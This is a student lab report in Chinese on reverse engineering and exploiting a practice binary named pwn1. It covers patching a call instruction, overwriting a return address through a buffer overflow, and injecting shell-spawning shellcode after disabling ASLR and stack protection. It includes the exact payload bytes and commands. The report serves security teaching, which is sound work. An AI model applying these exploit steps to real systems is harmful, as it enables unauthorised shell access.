2019-2020-2 2 20175235 泽仁拉措 《网络对抗技术》实验一 PC平台逆向破解
20175235 《网络对抗技术》实验一 PC平台逆向破解
20175235泽仁拉措
实验内容
一、逆向及BOF基础实践说明
- 1.1实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main
调用foo
函数,foo
函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell
,会返回一个可用Shell
。
正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何
Shellcode
。
返回目录
-
1.2基础知识
①、
objdump
反汇编常用参数objdump -d <file(s)>
: 将代码段反汇编;objdump -S <file(s)>
: 将代码段反汇编的同时,将反汇编代码与源代码交替显示,编译时需要使用-g
参数,即需要调试信息;objdump -C <file(s)>
: 将C++符号名逆向解析objdump -l <file(s)>
: 反汇编代码中插入文件名和行号objdump -j section <file(s)>
: 仅反汇编指定的section
②、 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
•NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
•JNE:条件转移指令,如果不相等则跳转。(机器码:75)
•JE:条件转移指令,如果相等则跳转。(机器码:74)
•JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
•CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
③、 反汇编与十六进制编程器
反汇编指令为
objdump -d <文件名>
十六进制指令为
perl -e 'print "字符/字符串"' > <文件名>
二、实验操作及具体步骤
-
1.1修改程序机器指令,改变程序执行流程
1.下载目标文件
pwn1
,并输入指令objdump -d pwn1 | more
进行反汇编
2.第一列为内存地址,第二列 为机器指令、第三列 为机器指令对应的汇编语言。
3.main
函数调用getshell
,计算getShell-80484ba
的补码,并用其替换掉d7ffffff即可在windows计算器中计算804847d-80484ba即可得到补码c3ffffff
4.首先vi pwn1
,打开文件后为乱码
5.输入%!xxd
进入十六进制编辑模式,使用/e8 d7
快速找到需要修改的地址
6.输入
i
进入插入模式,将d7修改为c3
输入:%!xxd -r
将十六进制模式转换为原格式
输入:wq
保存退出,反汇编查看机器指令;
7../pwn0
运行结果
-
1.2通过构造输入参数,造成BOF攻击,改变程序执行流
· 安装
gdb
,输入sudo apt-get install gdb
后使用命令gdb pwn3
调试程序,参数r
表示运行· 若输入的字符串小于等于28个字节,那么程序正常运行;若输入的字符串大于28个字节,则会报错
· 使用
info r
指令显示寄存器的值·
getshell
函数的地址为:0x0804847d,由于小端优先,而且输入字符串时以ASCII码输入,因此要转换为\x7d\x84\x04\x08
·输入
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
·使用
xxd input
查看文件内容
-
1.3注入Shellcode并执行
·安装execstack
·修改设置
execstack -s pwn1
//设置堆栈可执行
execstack -q pwn1
//查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space
//查看地址随机化的状态
echo "0" > /proc/sys/kernel/randomize_va_space
//关闭地址随机化
·构造payload,提供构造命令如下:perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73
\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0
\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode·注入:
cat input_shellcode;cat) | ./pwn3
·开启一个新的终端,输入ps -ef | grep pwn3
查询其进程号,gdb
调试进程
·输入attach3044
调试该进程,输入disassemble foo
查看ret
的地址,break *0x080484ae
设置断点
·进入第一个终端运行程序,在新终端gdb中输入c继续运行,输入info r esp
查看栈顶指针位置、改地址存放的数据(见上图)
老操作,修改文件中的代码并执行,攻击成功:
返回目录
三、实验收获与感想
1.这次实验刚开始复制pwn1目标文件,共享文件夹完成的较好,直接拖到主机就成功了,后面下载了gdb,实验很顺利的进行下去了,除了不细心,总会敲错指令,整体还是挺顺利的,收获还是很多的,深刻认识到了缓冲区溢出攻击。
2.什么是漏洞,漏洞有哪些危害?
·漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。
·如果被不法者利用,通过网络植入木马、病毒等方式来攻击或控制整个电脑,窃取电脑中的重要资料和信息,甚至破坏系统。